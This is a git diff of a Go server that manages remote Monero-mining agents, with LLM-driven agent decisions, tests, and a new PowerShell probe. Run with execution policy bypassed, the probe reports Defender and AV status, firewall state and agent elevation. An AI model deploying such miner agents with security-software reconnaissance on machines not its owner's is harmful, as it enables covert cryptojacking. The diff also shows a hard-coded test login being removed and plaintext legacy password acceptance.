} catch { $p.agent_elevated = $false }
$p.agent_service_ok = $true
$p | ConvertTo-Json -Compress
`
func collectPosture() *PostureReport {
out, err := exec.Command(
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
postureProbeScript,
).CombinedOutput()
if err != nil {
return fallbackPosture()
}
raw := strings.TrimSpace(string(out))
// PowerShell may emit warnings before the JSON; find the last '{'.
if idx := strings.LastIndex(raw, "{"); idx > 0 {
raw = raw[idx:]
}
var m map[string]interface{}
if err := json.Unmarshal([]byte(raw), &m); err != nil {
return fallbackPosture()
}
r := &PostureReport{
DefenderEnabled: jsonBool(m, "defender_enabled"),
DefenderRTP: jsonBool(m, "defender_rtp"),
AVProducts: jsonStringSlice(m, "av_products"),
FirewallDomain: jsonBool(m, "firewall_domain"),
FirewallPrivate: jsonBool(m, "firewall_private"),
FirewallPublic: jsonBool(m, "firewall_public"),
SSHListening: jsonBool(m, "ssh_listening"),
LastPatch: jsonString(m, "last_patch"),
LastPatchDays: jsonInt(m, "last_patch_days"),
PatchRecent: jsonBool(m, "patch_recent"),
PendingUpdates: jsonInt(m, "pending_updates"),
RebootPending: jsonBool(m, "reboot_pending"),
AgentElevated: jsonBool(m, "agent_elevated"),
AgentServiceOK: boolPtr(true),
}
r.PostureScore = computePostureScore(r)
return r
}
func fallbackPosture() *PostureReport {
ssh := probeSSH()
r := &PostureReport{SSHListening: &ssh, AgentServiceOK: boolPtr(true)}
r.PostureScore = computePostureScore(r)
return r
}
// ── JSON field helpers ────────────────────────────────────────────────────────
func jsonBool(m map[string]interface{}, key string) *bool {
v, ok := m[key]
if !ok {
return nil
}
switch t := v.(type) {
case bool:
return &t
case string:
b := strings.EqualFold(t, "true") || t == "1"
return &b
}
return nil
}
func jsonInt(m map[string]interface{}, key string) *int {
v, ok := m[key]
if !ok {
return nil
}
switch t := v.(type) {
case float64:
n := int(t)
return &n
case int:
return &t
case string:
if n, err := strconv.Atoi(t); err == nil {
return &n
}
}
return nil
}
func jsonString(m map[string]interface{}, key string) *string {
v, ok := m[key]
if !ok {
return nil
}
if s, ok := v.(string); ok && s != "" {
return &s
}
return nil
}
func jsonStringSlice(m map[string]interface{}, key string) []string {
v, ok := m[key]
if !ok {
return nil
}
switch t := v.(type) {
case string:
if t != "" {
return []string{t}
}
case []interface{}:
var out []string
for _, item := range t {
if s, ok := item.(string); ok && s != "" {
out = append(out, s)
}
}
return out
}
return nil
}

View File

@@ -75,7 +75,21 @@ type StatsPayload struct {
CPUUsagePct float64 `json:"cpu_usage_pct"` CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"` MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"` UptimeSeconds int `json:"uptime_seconds"`
SSHAvailable *bool `json:"ssh_available,omitempty"`
// SSH + posture
SSHAvailable *bool `json:"ssh_available,omitempty"`
PostureScore *int `json:"posture_score,omitempty"`
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
DefenderRTP *bool `json:"defender_rtp,omitempty"`
AVProducts []string `json:"av_products,omitempty"`
FirewallDomain *bool `json:"firewall_domain,omitempty"`
FirewallPrivate *bool `json:"firewall_private,omitempty"`
FirewallPublic *bool `json:"firewall_public,omitempty"`
LastPatchDays *int `json:"last_patch_days,omitempty"`
LastPatch *string `json:"last_patch,omitempty"`
PendingUpdates *int `json:"pending_updates,omitempty"`
RebootPending *bool `json:"reboot_pending,omitempty"`
AgentElevated *bool `json:"agent_elevated,omitempty"`
} }
type ShareResult struct { type ShareResult struct {

View File

@@ -3,22 +3,278 @@ package api
import ( import (
"bytes" "bytes"
"encoding/json" "encoding/json"
"errors"
"io"
"net/http" "net/http"
"net/http/httptest" "net/http/httptest"
"strings"
"testing" "testing"
"time"
"crypto-miner-server/internal/db" "crypto-miner-server/internal/db"
"crypto-miner-server/internal/ollama" "crypto-miner-server/internal/ollama"
) )
func TestHandleReportSingleAndArray(t *testing.T) { // Numeric constants from ai_handler.go (guard against silent drift).
const (
aiReportBufferCap = 1000
aiHeartbeatIntervalSeconds = 60
aiReasoningTruncateLen = 120
aiReportOutputTruncateLen = 200
aiEngineIdleTTL = time.Hour
aiActivityIdleTTL = 24 * time.Hour
aiCleanupTickerInterval = 10 * time.Minute
)
func newTestAIHandler(t *testing.T) *AIHandler {
t.Helper()
database, err := db.New(t.TempDir()) database, err := db.New(t.TempDir())
if err != nil { if err != nil {
t.Fatal(err) t.Fatal(err)
} }
defer database.Close() t.Cleanup(func() { database.Close() })
return NewAIHandler(database)
}
h := NewAIHandler(database) func mockOllamaChatServer(t *testing.T, content string, status int) *httptest.Server {
t.Helper()
if status == 0 {
status = http.StatusOK
}
return httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/api/chat" {
http.NotFound(w, r)
return
}
if r.Method != http.MethodPost {
http.Error(w, "method", http.StatusMethodNotAllowed)
return
}
w.WriteHeader(status)
if status != http.StatusOK {
_, _ = w.Write([]byte("ollama down"))
return
}
payload := map[string]interface{}{
"message": map[string]string{"content": content},
"done": true,
}
_ = json.NewEncoder(w).Encode(payload)
}))
}
func ollamaDecideContent(reasoning string, tools []ollama.ToolCall) string {
resp := ollama.DecideResponse{Reasoning: reasoning, ToolCalls: tools}
b, _ := json.Marshal(resp)
return string(b)
}
func TestAIConstants(t *testing.T) {
if aiReportBufferCap != 1000 || aiHeartbeatIntervalSeconds != 60 ||
aiReasoningTruncateLen != 120 || aiReportOutputTruncateLen != 200 ||
aiEngineIdleTTL != time.Hour || aiActivityIdleTTL != 24*time.Hour ||
aiCleanupTickerInterval != 10*time.Minute {
t.Fatal("ai_handler constants drifted from documented values")
}
}
func TestAINewAIHandler(t *testing.T) {
h := newTestAIHandler(t)
if h.db == nil || h.engines == nil || h.activity == nil {
t.Fatal("NewAIHandler did not initialize fields")
}
if cap(h.reports) != aiReportBufferCap {
t.Fatalf("reports slice cap want %d got %d", aiReportBufferCap, cap(h.reports))
}
if len(h.ActivitySnapshot()) != 0 {
t.Fatal("expected empty activity snapshot")
}
}
func TestAITruncateStr(t *testing.T) {
if truncateStr("short", aiReasoningTruncateLen) != "short" {
t.Fatal("short string should be unchanged")
}
long := strings.Repeat("x", aiReasoningTruncateLen+10)
out := truncateStr(long, aiReasoningTruncateLen)
if len(out) != aiReasoningTruncateLen+3 || !strings.HasSuffix(out, "...") {
t.Fatalf("truncate want len %d with ellipsis, got %q", aiReasoningTruncateLen+3, out)
}
if truncateStr("", 5) != "" {
t.Fatal("empty string")
}
if truncateStr("exact", 5) != "exact" {
t.Fatal("exact length boundary")
}
}
func TestAISetEngineForAgentAndGetRemove(t *testing.T) {
h := newTestAIHandler(t)
srv := mockOllamaChatServer(t, ollamaDecideContent("ok", nil), http.StatusOK)
defer srv.Close()
h.SetEngineForAgent("agent-a", srv.URL, "test-model")
if h.GetEngine("agent-a") == nil {
t.Fatal("GetEngine returned nil after SetEngineForAgent")
}
h.RemoveEngine("agent-a")
if h.GetEngine("agent-a") != nil {
t.Fatal("GetEngine should be nil after RemoveEngine")
}
}
func TestAISetEngineForAgentDefaults(t *testing.T) {
h := newTestAIHandler(t)
var gotModel string
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
var req struct {
Model string `json:"model"`
}
_ = json.NewDecoder(r.Body).Decode(&req)
gotModel = req.Model
w.WriteHeader(http.StatusOK)
_ = json.NewEncoder(w).Encode(map[string]interface{}{
"message": map[string]string{"content": ollamaDecideContent("ok", nil)},
"done": true,
})
}))
defer srv.Close()
h.SetEngineForAgent("agent-defaults", srv.URL, "")
eng := h.GetEngine("agent-defaults")
if eng == nil {
t.Fatal("engine missing")
}
_, err := eng.Decide(&ollama.AgentState{AgentID: "agent-defaults"})
if err != nil {
t.Fatalf("Decide: %v", err)
}
if gotModel != "llama3.2" {
t.Fatalf("default model want llama3.2 got %q", gotModel)
}
}
func TestAIHandleDecideErrors(t *testing.T) {
h := newTestAIHandler(t)
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", strings.NewReader("{"))
w := httptest.NewRecorder()
h.HandleDecide(w, req)
if w.Code != http.StatusBadRequest {
t.Fatalf("invalid JSON status %d", w.Code)
}
req = httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", strings.NewReader(`{"worker_name":"x"}`))
w = httptest.NewRecorder()
h.HandleDecide(w, req)
if w.Code != http.StatusBadRequest || !strings.Contains(w.Body.String(), "agent_id") {
t.Fatalf("missing agent_id status %d body %s", w.Code, w.Body.String())
}
}
func TestAIHandleDecideSuccess(t *testing.T) {
h := newTestAIHandler(t)
content := ollamaDecideContent("all good", []ollama.ToolCall{{
Tool: "check_miner", Args: map[string]string{"process_name": "xmrig"}, Reason: "verify",
}})
srv := mockOllamaChatServer(t, content, http.StatusOK)
defer srv.Close()
body, _ := json.Marshal(map[string]interface{}{
"agent_id": "agent-decide-ok",
"ollama_endpoint": srv.URL,
"model": "test-model",
"hostname": "host1",
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", bytes.NewReader(body))
w := httptest.NewRecorder()
h.HandleDecide(w, req)
if w.Code != http.StatusOK {
t.Fatalf("status %d body %s", w.Code, w.Body.String())
}
var resp ollama.DecideResponse
if err := json.NewDecoder(w.Body).Decode(&resp); err != nil {
t.Fatal(err)
}
if len(resp.ToolCalls) != 1 || resp.ToolCalls[0].Tool != "check_miner" {
t.Fatalf("unexpected tool calls: %+v", resp.ToolCalls)
}
snap := h.ActivitySnapshot()
var found bool
for _, e := range snap {
if e.AgentID == "agent-decide-ok" && e.LastAction == "check_miner" && e.ToolCallCount == 1 {
found = true
if len(e.LastReasoning) > aiReasoningTruncateLen+3 {
t.Fatalf("reasoning should be truncated to %d", aiReasoningTruncateLen)
}
}
}
if !found {
t.Fatalf("activity not recorded: %+v", snap)
}
}
func TestAIHandleDecideOllamaFailureFallback(t *testing.T) {
h := newTestAIHandler(t)
srv := mockOllamaChatServer(t, "", http.StatusInternalServerError)
defer srv.Close()
body, _ := json.Marshal(map[string]interface{}{
"agent_id": "agent-decide-fail",
"ollama_endpoint": srv.URL,
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", bytes.NewReader(body))
w := httptest.NewRecorder()
h.HandleDecide(w, req)
if w.Code != http.StatusOK {
t.Fatalf("fallback should return 200, got %d", w.Code)
}
var out map[string]interface{}
if err := json.NewDecoder(w.Body).Decode(&out); err != nil {
t.Fatal(err)
}
if out["error"] == nil {
t.Fatal("expected error field")
}
tools, ok := out["tool_calls"].([]interface{})
if !ok || len(tools) != 1 {
t.Fatalf("expected sleep fallback tool_calls, got %v", out["tool_calls"])
}
first, _ := tools[0].(map[string]interface{})
if first["tool"] != "sleep" {
t.Fatalf("expected sleep tool, got %v", first["tool"])
}
args, _ := first["args"].(map[string]interface{})
if args["seconds"] != "120" {
t.Fatalf("fallback sleep seconds want 120 got %v", args["seconds"])
}
}
func TestAIHandleDecideCreatesEngineOnFirstRequest(t *testing.T) {
h := newTestAIHandler(t)
content := ollamaDecideContent("idle", nil)
srv := mockOllamaChatServer(t, content, http.StatusOK)
defer srv.Close()
body, _ := json.Marshal(map[string]interface{}{
"agent_id": "agent-new",
"ollama_endpoint": srv.URL,
"model": "m1",
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", bytes.NewReader(body))
w := httptest.NewRecorder()
h.HandleDecide(w, req)
if w.Code != http.StatusOK {
t.Fatalf("status %d %s", w.Code, w.Body.String())
}
if h.GetEngine("agent-new") == nil {
t.Fatal("engine should exist after first decide")
}
}
func TestAIHandleReportSingleAndArray(t *testing.T) {
h := newTestAIHandler(t)
single := ollama.Report{ single := ollama.Report{
AgentID: "agent-1", AgentID: "agent-1",
@@ -54,6 +310,166 @@ func TestHandleReportSingleAndArray(t *testing.T) {
} }
} }
func TestAIHandleReportErrors(t *testing.T) {
h := newTestAIHandler(t)
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/report", errReader{})
w := httptest.NewRecorder()
h.HandleReport(w, req)
if w.Code != http.StatusBadRequest {
t.Fatalf("read error status %d", w.Code)
}
req = httptest.NewRequest(http.MethodPost, "/api/v1/agent/report", strings.NewReader("not-json"))
w = httptest.NewRecorder()
h.HandleReport(w, req)
if w.Code != http.StatusBadRequest {
t.Fatalf("invalid json status %d", w.Code)
}
}
func TestAIHandleReportBufferCap(t *testing.T) {
h := newTestAIHandler(t)
for i := 0; i < aiReportBufferCap+5; i++ {
r := ollama.Report{AgentID: "cap-agent", Tool: "sleep", Success: true}
b, _ := json.Marshal(r)
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/report", bytes.NewReader(b))
w := httptest.NewRecorder()
h.HandleReport(w, req)
if w.Code != http.StatusOK {
t.Fatalf("report %d status %d", i, w.Code)
}
}
h.mu.RLock()
n := len(h.reports)
h.mu.RUnlock()
if n != aiReportBufferCap {
t.Fatalf("reports len want %d got %d", aiReportBufferCap, n)
}
}
func TestAIHandleReportEventBroadcaster(t *testing.T) {
h := newTestAIHandler(t)
var events []AIActivityEntry
h.SetEventBroadcaster(func(e AIActivityEntry) {
events = append(events, e)
})
r := ollama.Report{AgentID: "evt-agent", Tool: "upload_log", Success: true, Output: "done"}
b, _ := json.Marshal(r)
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/report", bytes.NewReader(b))
w := httptest.NewRecorder()
h.HandleReport(w, req)
if w.Code != http.StatusOK {
t.Fatalf("status %d", w.Code)
}
if len(events) != 1 || events[0].AgentID != "evt-agent" || events[0].LastTool != "upload_log" {
t.Fatalf("broadcaster events: %+v", events)
}
var resp map[string]interface{}
_ = json.NewDecoder(bytes.NewReader(w.Body.Bytes())).Decode(&resp)
if resp["received"].(float64) != 1 || resp["success"] != true {
t.Fatalf("response: %v", resp)
}
}
func TestAIHandleHeartbeat(t *testing.T) {
h := newTestAIHandler(t)
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/heartbeat", strings.NewReader("{"))
w := httptest.NewRecorder()
h.HandleHeartbeat(w, req)
if w.Code != http.StatusBadRequest {
t.Fatalf("invalid JSON status %d", w.Code)
}
req = httptest.NewRequest(http.MethodPost, "/api/v1/agent/heartbeat", strings.NewReader(`{"status":"alive"}`))
w = httptest.NewRecorder()
h.HandleHeartbeat(w, req)
if w.Code != http.StatusBadRequest {
t.Fatalf("missing agent_id status %d", w.Code)
}
body, _ := json.Marshal(heartbeatRequest{AgentID: "hb-agent", Status: "alive", Message: "ok"})
req = httptest.NewRequest(http.MethodPost, "/api/v1/agent/heartbeat", bytes.NewReader(body))
w = httptest.NewRecorder()
h.HandleHeartbeat(w, req)
if w.Code != http.StatusOK {
t.Fatalf("status %d %s", w.Code, w.Body.String())
}
var out map[string]interface{}
if err := json.NewDecoder(w.Body).Decode(&out); err != nil {
t.Fatal(err)
}
if out["success"] != true {
t.Fatalf("success: %v", out["success"])
}
interval, ok := out["interval"].(float64)
if !ok || int(interval) != aiHeartbeatIntervalSeconds {
t.Fatalf("interval want %d got %v", aiHeartbeatIntervalSeconds, out["interval"])
}
}
func TestAIRecordActivityMergeAndBroadcast(t *testing.T) {
h := newTestAIHandler(t)
now := time.Now()
h.mu.Lock()
h.activity["merge-agent"] = AIActivityEntry{
AgentID: "merge-agent",
LastReportAt: now,
LastSuccess: true,
ToolCallCount: 3,
}
h.mu.Unlock()
var broadcasted AIActivityEntry
h.SetEventBroadcaster(func(e AIActivityEntry) {
broadcasted = e
})
h.recordActivity(AIActivityEntry{
AgentID: "merge-agent",
LastDecideAt: now.Add(time.Minute),
LastAction: "sleep",
LastTool: "sleep",
LastReasoning: "rest",
ToolCallCount: 0, // zero must not wipe previous count
})
h.mu.RLock()
prev := h.activity["merge-agent"]
h.mu.RUnlock()
if prev.ToolCallCount != 3 {
t.Fatalf("zero ToolCallCount should not clear prior count, got %d", prev.ToolCallCount)
}
if prev.LastAction != "sleep" || prev.LastReasoning != "rest" {
t.Fatalf("merged activity: %+v", prev)
}
if broadcasted.AgentID != "merge-agent" {
t.Fatalf("broadcast: %+v", broadcasted)
}
}
func TestAIActivitySnapshot(t *testing.T) {
h := newTestAIHandler(t)
h.mu.Lock()
h.activity["a"] = AIActivityEntry{AgentID: "a"}
h.activity["b"] = AIActivityEntry{AgentID: "b"}
h.mu.Unlock()
snap := h.ActivitySnapshot()
if len(snap) != 2 {
t.Fatalf("want 2 entries got %d", len(snap))
}
}
type errReader struct{}
func (errReader) Read([]byte) (int, error) { return 0, errors.New("read fail") }
func (errReader) Close() error { return nil }
// errReader must satisfy io.ReadCloser for request body
var _ io.ReadCloser = errReader{}
func TestEstimateXMRPerDay(t *testing.T) { func TestEstimateXMRPerDay(t *testing.T) {
out := EstimateXMRPerDay(3_000_000_000) out := EstimateXMRPerDay(3_000_000_000)
xmr, ok := out["xmr_per_day"].(float64) xmr, ok := out["xmr_per_day"].(float64)

View File

@@ -0,0 +1,72 @@
package api
import (
"testing"
)
func TestCheckPasswordBcryptAndLegacy(t *testing.T) {
hashed, err := hashPassword("secret123")
if err != nil {
t.Fatal(err)
}
if !checkPassword(hashed, "secret123") {
t.Fatal("bcrypt hash should match correct password")
}
if checkPassword(hashed, "wrong") {
t.Fatal("bcrypt hash should reject wrong password")
}
if !checkPassword("plainlegacy", "plainlegacy") {
t.Fatal("legacy plain-text should match")
}
if checkPassword("plainlegacy", "other") {
t.Fatal("legacy plain-text should reject mismatch")
}
}
func TestIsBcryptHash(t *testing.T) {
h, _ := hashPassword("x")
if !isBcryptHash(h) {
t.Fatal("expected bcrypt prefix")
}
if isBcryptHash("plaintext") {
t.Fatal("plaintext should not look like bcrypt")
}
}
func TestAuthCacheHitAndMiss(t *testing.T) {
user, pass := "cacheuser", "cachepass"
if authCacheHit(user, pass) {
t.Fatal("cache should miss before set")
}
authCacheSet(user, pass)
if !authCacheHit(user, pass) {
t.Fatal("cache should hit after set")
}
if authCacheHit(user, "wrong") {
t.Fatal("different password should miss")
}
}
func TestGenerateRandomPasswordLength(t *testing.T) {
pw := generateRandomPassword()
if len(pw) != 20 {
t.Fatalf("expected 20-char hex password, got len %d (%q)", len(pw), pw)
}
}
func TestAgentForgeConfigDefaults(t *testing.T) {
cfg := AgentForgeConfig{}
if cfg.poolHostOrDefault("fallback.host") != "fallback.host" {
t.Fatal("empty pool host should use fallback")
}
if cfg.poolPortOrDefault(3333) != 3333 {
t.Fatal("zero pool port should use fallback")
}
cfg = AgentForgeConfig{PoolHost: "pool.example.com", PoolPort: 443}
if cfg.poolHostOrDefault("fallback") != "pool.example.com" {
t.Fatal("explicit pool host should win")
}
if cfg.poolPortOrDefault(3333) != 443 {
t.Fatal("explicit pool port should win")
}
}

View File

@@ -0,0 +1,91 @@
package api
import (
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
"crypto-miner-server/internal/db"
"github.com/go-chi/chi/v5"
)
func newTestHandler(t *testing.T) *Handler {
t.Helper()
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
return NewHandler(database)
}
func TestHealthCheckReturnsOK(t *testing.T) {
h := newTestHandler(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/health", nil)
rec := httptest.NewRecorder()
h.HealthCheck(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d", rec.Code)
}
var body map[string]string
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if body["status"] != "ok" {
t.Fatalf("unexpected body: %v", body)
}
}
func TestListAgentsEmptyArray(t *testing.T) {
h := newTestHandler(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
rec := httptest.NewRecorder()
h.ListAgents(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
}
if rec.Body.String() != "[]\n" && rec.Body.String() != "[]" {
var agents []json.RawMessage
if err := json.Unmarshal(rec.Body.Bytes(), &agents); err != nil {
t.Fatal(err)
}
if len(agents) != 0 {
t.Fatalf("expected empty list, got %d", len(agents))
}
}
}
func TestGetAgentStatsLimitCap(t *testing.T) {
h := newTestHandler(t)
req := httptest.NewRequest(http.MethodGet, "/agents/missing-agent/stats?limit=5000", nil)
rec := httptest.NewRecorder()
r := chi.NewRouter()
r.Get("/agents/{id}/stats", h.GetAgentStats)
r.ServeHTTP(rec, req)
if rec.Code == http.StatusInternalServerError {
t.Fatalf("limit cap caused 500: %s", rec.Body.String())
}
}
func TestGetRecentSharesLimitCap(t *testing.T) {
h := newTestHandler(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/shares?limit=999999", nil)
rec := httptest.NewRecorder()
h.GetRecentShares(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
}
}
func TestGetAgentNotFound(t *testing.T) {
h := newTestHandler(t)
req := httptest.NewRequest(http.MethodGet, "/agents/nope", nil)
rec := httptest.NewRecorder()
r := chi.NewRouter()
r.Get("/agents/{id}", h.GetAgent)
r.ServeHTTP(rec, req)
if rec.Code != http.StatusNotFound {
t.Fatalf("expected 404, got %d", rec.Code)
}
}

View File

@@ -29,9 +29,26 @@ func (m *mockConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error {
return nil return nil
} }
const testAuthUser = "testuser"
const testAuthPass = "testpass"
func seedTestUsers(t *testing.T, dataDir string) {
t.Helper()
usersPath := filepath.Join(dataDir, "users.json")
data, err := json.Marshal(map[string]string{testAuthUser: testAuthPass})
if err != nil {
t.Fatalf("marshal users: %v", err)
}
if err := os.WriteFile(usersPath, data, 0600); err != nil {
t.Fatalf("write users.json: %v", err)
}
}
func newTestRouter(t *testing.T) (http.Handler, string) { func newTestRouter(t *testing.T) (http.Handler, string) {
t.Helper() t.Helper()
dataDir := t.TempDir() dataDir := t.TempDir()
seedTestUsers(t, dataDir)
database, err := db.New(dataDir) database, err := db.New(dataDir)
if err != nil { if err != nil {
t.Fatalf("db: %v", err) t.Fatalf("db: %v", err)
@@ -84,7 +101,7 @@ func TestConfigRequiresAuth(t *testing.T) {
func TestConfigWithValidAuth(t *testing.T) { func TestConfigWithValidAuth(t *testing.T) {
router, _ := newTestRouter(t) router, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/config", nil) req := httptest.NewRequest(http.MethodGet, "/api/v1/config", nil)
req.SetBasicAuth("drjones", "czapiewski") req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder() rec := httptest.NewRecorder()
router.ServeHTTP(rec, req) router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK { if rec.Code != http.StatusOK {
@@ -105,7 +122,7 @@ func TestAgentsListRequiresAuth(t *testing.T) {
func TestAgentsListAuthedEmpty(t *testing.T) { func TestAgentsListAuthedEmpty(t *testing.T) {
router, _ := newTestRouter(t) router, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil) req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
req.SetBasicAuth("drjones", "czapiewski") req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder() rec := httptest.NewRecorder()
router.ServeHTTP(rec, req) router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK { if rec.Code != http.StatusOK {
@@ -164,7 +181,7 @@ func indexOf(s, sub string) int {
func TestStatsLimitCapped(t *testing.T) { func TestStatsLimitCapped(t *testing.T) {
router, _ := newTestRouter(t) router, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents/nope/stats?limit=999999", nil) req := httptest.NewRequest(http.MethodGet, "/api/v1/agents/nope/stats?limit=999999", nil)
req.SetBasicAuth("drjones", "czapiewski") req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder() rec := httptest.NewRecorder()
router.ServeHTTP(rec, req) router.ServeHTTP(rec, req)
// Agent may not exist — 404 is fine; we only care handler doesn't 500 on huge limit // Agent may not exist — 404 is fine; we only care handler doesn't 500 on huge limit

View File

@@ -0,0 +1,86 @@
package api
import (
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
)
func TestParsePort(t *testing.T) {
tests := []struct {
in string
want int
}{
{"8989", 8989},
{"80", 80},
{"abc", 8989},
{"", 8989},
{"0", 8989},
}
for _, tc := range tests {
if got := parsePort(tc.in); got != tc.want {
t.Fatalf("parsePort(%q) = %d, want %d", tc.in, got, tc.want)
}
}
}
func TestIsLoopbackHost(t *testing.T) {
if !isLoopbackHost("localhost") {
t.Fatal("localhost should be loopback")
}
if !isLoopbackHost("127.0.0.1") {
t.Fatal("127.0.0.1 should be loopback")
}
if isLoopbackHost("192.168.1.1") {
t.Fatal("192.168.1.1 should not be loopback")
}
}
func TestItoa(t *testing.T) {
if itoa(8989) != "8989" {
t.Fatalf("itoa(8989) = %q", itoa(8989))
}
if itoa(0) != "0" {
t.Fatalf("itoa(0) = %q", itoa(0))
}
}
func TestGetServerInfoJSON(t *testing.T) {
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
req.Host = "localhost:8989"
rec := httptest.NewRecorder()
GetServerInfo(rec, req, "")
if rec.Code != http.StatusOK {
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
}
var info ServerInfo
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
t.Fatal(err)
}
if info.Port != 8989 {
t.Fatalf("port = %d, want 8989", info.Port)
}
if info.WebSocketURL == "" || info.SuggestedURL == "" {
t.Fatalf("missing URLs: %+v", info)
}
}
func TestGetServerInfoPublicURLOverride(t *testing.T) {
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
req.Host = "localhost:8989"
rec := httptest.NewRecorder()
GetServerInfo(rec, req, "https://forge.example.com:443")
var info ServerInfo
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
t.Fatal(err)
}
if info.SuggestedURL != "https://forge.example.com:443" {
t.Fatalf("override not applied: %q", info.SuggestedURL)
}
if info.WebSocketURL != "wss://forge.example.com:443/ws/agent" {
t.Fatalf("ws url = %q", info.WebSocketURL)
}
}

View File

@@ -519,8 +519,20 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
CPUUsagePct float64 `json:"cpu_usage_pct"` CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"` MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"` UptimeSeconds int `json:"uptime_seconds"`
SSHAvailable *bool `json:"ssh_available,omitempty"` SSHAvailable *bool `json:"ssh_available,omitempty"`
} PostureScore *int `json:"posture_score,omitempty"`
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
DefenderRTP *bool `json:"defender_rtp,omitempty"`
AVProducts []string `json:"av_products,omitempty"`
FirewallDomain *bool `json:"firewall_domain,omitempty"`
FirewallPrivate *bool `json:"firewall_private,omitempty"`
FirewallPublic *bool `json:"firewall_public,omitempty"`
LastPatchDays *int `json:"last_patch_days,omitempty"`
LastPatch *string `json:"last_patch,omitempty"`
PendingUpdates *int `json:"pending_updates,omitempty"`
RebootPending *bool `json:"reboot_pending,omitempty"`
AgentElevated *bool `json:"agent_elevated,omitempty"`
}
if err := json.Unmarshal(msg.Payload, &stats); err != nil { if err := json.Unmarshal(msg.Payload, &stats); err != nil {
continue continue
} }
@@ -550,6 +562,42 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if stats.SSHAvailable != nil { if stats.SSHAvailable != nil {
broadcast["ssh_available"] = *stats.SSHAvailable broadcast["ssh_available"] = *stats.SSHAvailable
} }
if stats.PostureScore != nil {
broadcast["posture_score"] = *stats.PostureScore
}
if stats.DefenderEnabled != nil {
broadcast["defender_enabled"] = *stats.DefenderEnabled
}
if stats.DefenderRTP != nil {
broadcast["defender_rtp"] = *stats.DefenderRTP
}
if len(stats.AVProducts) > 0 {
broadcast["av_products"] = stats.AVProducts
}
if stats.FirewallDomain != nil {
broadcast["firewall_domain"] = *stats.FirewallDomain
}
if stats.FirewallPrivate != nil {
broadcast["firewall_private"] = *stats.FirewallPrivate
}
if stats.FirewallPublic != nil {
broadcast["firewall_public"] = *stats.FirewallPublic
}
if stats.LastPatchDays != nil {
broadcast["last_patch_days"] = *stats.LastPatchDays
}
if stats.LastPatch != nil {
broadcast["last_patch"] = *stats.LastPatch
}
if stats.PendingUpdates != nil {
broadcast["pending_updates"] = *stats.PendingUpdates
}
if stats.RebootPending != nil {
broadcast["reboot_pending"] = *stats.RebootPending
}
if stats.AgentElevated != nil {
broadcast["agent_elevated"] = *stats.AgentElevated
}
h.broadcastDashboard(Message{Type: "stats_update", Payload: mustMarshal(broadcast)}) h.broadcastDashboard(Message{Type: "stats_update", Payload: mustMarshal(broadcast)})
case "submit_share": case "submit_share":

View File

@@ -0,0 +1,76 @@
package db
import (
"testing"
)
func TestDecodeTagsEdgeCases(t *testing.T) {
tests := []struct {
name string
raw string
want int
}{
{"empty", "", 0},
{"brackets", "[]", 0},
{"whitespace", " [] ", 0},
{"valid", `["a","b"]`, 2},
{"invalid json", "{not-json", 0},
}
for _, tc := range tests {
t.Run(tc.name, func(t *testing.T) {
got := decodeTags(tc.raw)
if len(got) != tc.want {
t.Fatalf("decodeTags(%q) len=%d want %d (%v)", tc.raw, len(got), tc.want, got)
}
})
}
}
func TestEncodeTagsEmpty(t *testing.T) {
if got := encodeTags(nil); got != "[]" {
t.Fatalf("encodeTags(nil) = %q want []", got)
}
if got := encodeTags([]string{}); got != "[]" {
t.Fatalf("encodeTags(empty) = %q want []", got)
}
}
func TestGetAgentInvalidTagsInDB(t *testing.T) {
